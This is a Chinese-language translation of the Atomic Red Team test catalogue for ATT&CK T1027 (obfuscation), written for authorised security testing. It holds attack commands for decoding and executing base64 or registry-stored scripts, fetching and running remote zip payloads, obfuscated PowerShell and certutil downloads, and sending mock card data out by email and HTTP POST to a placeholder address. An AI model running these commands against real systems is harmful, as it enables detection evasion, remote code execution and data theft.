本文章为Atomic Red Team系列文章,本篇文章内容为T1027-文件及信息混淆。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。
重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。
来自ATT&CK的描述
攻击者可能会尝试通过加密、编码或以其他方式混淆系统上或传输过程中的可执行文件或文件内容,使其难以被发现或分析。这是一种常见行为,可在不同平台和网络中使用,以逃避防御措施。
有效载荷可能会被压缩、存档或加密,以避免被检测到。这些有效载荷可在初始访问阶段或之后使用,以降低被检测到的风险。有时,可能需要用户采取行动来打开并对文件进行去混淆/解码,以便执行。用户可能还需要输入密码来打开攻击者提供的受密码保护的压缩/加密文件。(引用:Volexity公司对PowerDuke的分析,2016年11月 )攻击者也可能使用压缩或存档的脚本,如JavaScript脚本。
文件的部分内容也可以进行编码,以隐藏明文字符串,否则这些字符串会帮助防御者发现恶意行为。(引用:对Linux/Cdorked.A的分析,来源于We Live Security )有效载荷也可能被分割成单独的、看似无害的文件,只有在重新组合时才会显示出恶意功能。(引用:Carbon Black对混淆技术的分析,2016年9月 )
攻击者还可能滥用命令混淆技术,来模糊从有效载荷执行的命令,或直接通过命令和脚本解释器执行的命令。环境变量、别名、字符以及其他特定于平台/语言的语义,都可用于逃避基于签名的检测和应用程序控制机制。(引用:FireEye对混淆技术的分析,2017年6月 ;引用:FireEye对Revoke-Obfuscation的分析,2017年7月 ;引用:PaloAlto对编码命令的分析,2017年3月 )
原子测试
原子测试 #1-将base64编码数据解码为脚本
创建一个base64编码的数据文件,并将其解码为可执行的Shell脚本。
执行成功后,sh将执行art.sh,这是一个经过base64编码的命令,它会输出“Hello from the Atomic Red Team”并显示uname -v的结果。
- 支持的平台
macOS、Linux - 自动生成的GUID
f45df6be-2e1e-4136-a384-8f18ab3826fb - 输入:
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令
使用sh运行!
if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi;
cat /tmp/encoded.dat | $cmd > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh
- 清理命令
rm /tmp/encoded.dat
rm /tmp/art.sh
- 依赖项
使用sh运行! - 描述
将命令编码为base64文件 - 检查前提条件命令
if [ -e "/tmp/encoded.dat" ]; then exit 0; else exit 1; fi
- 获取前提条件命令
if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64encode -r -"; else cmd="base64"; fi;
echo "#{shell_command}" | $cmd > /tmp/encoded.dat
原子测试 #2-执行base64编码的PowerShell命令
创建经过base64编码的PowerShell代码并执行它。许多攻击者和恶意工具都会使用这种方法。
执行成功后,powershell将执行一个编码命令,默认的标准输出是“Write-Host "Hey, Atomic!"”。
- 支持的平台
Windows - 自动生成的GUID
a50d5a97-2531-499e-a1de-5544c74432c6 - 输入:
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令
使用powershell运行!
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand
原子测试 #3-从Windows注册表执行base64编码的PowerShell命令
将base64编码的PowerShell代码存储在Windows注册表中,并对其进行去混淆以执行。许多攻击者和恶意工具都会使用这种方法。
执行成功后,powershell将执行编码命令,并对注册表进行读写操作。
- 支持的平台
Windows - 自动生成的GUID
450e7218-7915-4be4-8b9b-464a49eafcec - 输入
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令
使用powershell运行!
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage}#{registry_entry_storage}).#{registry_entry_storage})))"
- 清理命令:
Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage}
原子测试 #4-从压缩文件执行
模拟从压缩的可执行文件执行操作。执行成功后,计算器程序(calculator.exe)将打开。
- 支持的平台
Windows - 自动生成的GUID
f8c8a909-5f29-49ac-9244-413936ce6d1f - 输入
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令
使用命令提示符(command_prompt)运行!
"PathToAtomicsFolder..ExternalPayloadstemp_T1027.zipT1027.exe"
- 清理命令
taskkill /f /im calculator.exe >nul 2>nul
taskkill /f /im CalculatorApp.exe >nul 2>nul
- 依赖项
使用powershell运行! - 描述
T1027.exe必须存在于磁盘上的PathToAtomicsFolder..ExternalPayloadstemp_T1027.zipT1027.exe路径下 - 检查前提条件命令
if (Test-Path "PathToAtomicsFolder..ExternalPayloadstemp_T1027.zipT1027.exe") {exit 0} else {exit 1}
- 获取前提条件命令
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder..ExternalPayloads" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder..ExternalPayloadsT1027.zip"
Expand-Archive -path "PathToAtomicsFolder..ExternalPayloadsT1027.zip" -DestinationPath "PathToAtomicsFolder..ExternalPayloadstemp_T1027.zip" -Force
原子测试 #5-通过电子邮件中的VBA宏内敏感数据规避数据丢失防护(DLP)
执行成功后,一个包含VBA宏且宏内含有敏感数据的Excel文件将通过电子邮件发送到网络外部。敏感数据包括约20个左右通过LUHN校验的模拟信用卡号码。
- 支持的平台
Windows - 自动生成的GUID
129edb75-d7b8-42cd-a8ba-1f3db64ec4ad - 输入
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令
使用powershell运行!
Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments "#{input_file}" -SmtpServer #{smtp_server}
原子测试 #6-通过HTTP传输的VBA宏内敏感数据规避数据丢失防护(DLP)
执行成功后,一个包含VBA宏且宏内含有敏感数据的Excel文件将通过HTTP发送到网络外部。敏感数据包括约20个左右通过LUHN校验的模拟信用卡号码。
- 支持的平台
Windows - 自动生成的GUID
e2d85e66-cb66-4ed7-93b1-833fc56c9319 - 输入
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
- 攻击命令
使用powershell运行!
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}"
原子测试 #7-PowerShell中的混淆命令
这是一个混淆的PowerShell命令,执行时会输出“Hello, from PowerShell!”。该示例来自Red Canary公司2021年的威胁检测报告。
- 支持的平台
Windows - 自动生成的GUID
8b3f4ed6-077b-4bdd-891c-2d237f19410f - 攻击命令
使用powershell运行!
$cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING') ; $pz2Sb0 =[TYpE]("{1}{0}{2}"-f'nv','cO','ert') ; &("{0}{2}{3}{1}{4}" -f'In','SiO','vOKe-EXp','ReS','n') ( (&("{1}{2}{0}"-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y'))."v`ALUe"::("{1}{0}" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )
以下为补充知识,与原子测试无关。
1.混淆工具(Obfuscation Tools) 混淆工具专门用于将代码转换为难以阅读和理解的形式,同时保持其功能不变。这些工具通常用于保护知识产权或绕过安全检测。
常见的混淆工具:
-
Invoke-Obfuscation:专门用于混淆PowerShell脚本的工具,可以通过字符串替换、变量重命名、编码等方式使代码难以理解。
-
Obfuscar:一个开源的.NET代码混淆工具,也可以用于混淆PowerShell代码。
-
PSObfuscate:一个基于Python的工具,用于混淆PowerShell脚本,支持多种混淆技术。
2.恶意软件生成框架 一些恶意软件生成框架也可以生成复杂的、经过混淆的代码,用于执行恶意操作。这些框架通常具有高度的可配置性,可以生成针对不同目标的代码。
常见的恶意软件生成框架:
-
Empire:一个开源的PowerShell和Python攻击框架,支持生成复杂的攻击脚本。
-
Veil:一个用于生成绕过安全检测的恶意代码的框架。
原子测试 #8-使用特殊Unicode字符的混淆命令行
这是一个混淆的certutil命令,执行时会从网络下载文件。改编自T1105。混淆手段包括特殊选项字符(Unicode连字符)、字符替换(例如ᶠ)和字符插入(包括使用从右到左的0x202E和从左到右的0x202D覆盖字符)。参考:https://wietze.github.io/blog/windows-command-line-obfuscation
- 支持的平台
:Windows - 自动生成的GUID
:e68b945c-52d0-4dd9-a5e8-d173d70c448f - 输入
:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
- 按照以下步骤运行!
将以下命令中的#{remote_file}和#{local_path}替换为你想要的URL和文件名,然后复制到命令提示符中。
certutil —ૹu૰rlࢰcac෯he –split −"൏ᶠ൸" #{remote_file} #{local_path}
按回车键执行命令。你会发现指定的文件或网页已保存到命令中指定的文件中。
原子测试 #9-Snake恶意软件加密的crmlog文件
以下原子测试将创建一个具有特定名称的文件,并将其属性设置为隐藏、系统和存档。这与Snake恶意软件活动有关,该文件稍后会被Snake的内核驱动程序解密。(参考:Snake恶意软件-CISA )
- 支持的平台
Windows - 自动生成的GUID
7e47ee60-9dd1-4269-9c4f-97953b183268 - 攻击命令
使用powershell运行!需要提升权限(例如root或管理员权限)
$file = New-Item $env:windirregistration04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host "File created: $($file.FullName)"
- 清理命令:
$fileNameToDelete = '04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog'; $filePathToDelete = "$env:windirregistration"; $fullPathToDelete = Join-Path $filePathToDelete $fileNameToDelete; if (Test-Path $fullPathToDelete) { Remove-Item -Path $fullPathToDelete -Force; Write-Host "File deleted: $fullPathToDelete" } else { Write-Host "File not found: $fullPathToDelete" }
原子测试 #10-从压缩的JScript文件执行
模拟从压缩的JavaScript文件执行操作。执行成功后,计算器程序(calculator.exe)将打开。根据https://redcanary.com/blog/gootloader/ ,此测试旨在帮助模拟Gootloader恶意软件的行为。
- 支持的平台:
Windows - 自动生成的GUID:
fad04df1-5229-4185-b016-fb6010cd87ac - 输入:
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令
使用命令提示符(command_prompt)运行!
"PathToAtomicsFolder..ExternalPayloadstemp_T1027js.zipT1027js.js"
- 清理命令:
taskkill /f /im calculator.exe >nul 2>nul
-
依赖项:powershell运行
-
描述: T1027.js 必须存在于磁盘上的 PathToAtomicsFolder..ExternalPayloadstemp_T1027js.zipT1027js.js 路径中。
-
检查先决条件命令:
if (Test-Path "PathToAtomicsFolder..ExternalPayloadstemp_T1027js.zipT1027js.js") {exit 0} else {exit 1}
- 获取先决条件命令:
New-Item -Type Directory "PathToAtomicsFolder..ExternalPayloads" -ErrorAction Ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder..ExternalPayloadsT1027js.zip"
Expand-Archive -path "PathToAtomicsFolder..ExternalPayloadsT1027js.zip" -DestinationPath "PathToAtomicsFolder..ExternalPayloadstemp_T1027js.zip" -Force
var WshShell = new ActiveXObject("WScript.Shell");
WshShell.Run("calc.exe");
原文始发于微信公众号(网空安全手札):T1027-混淆文件或信息
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论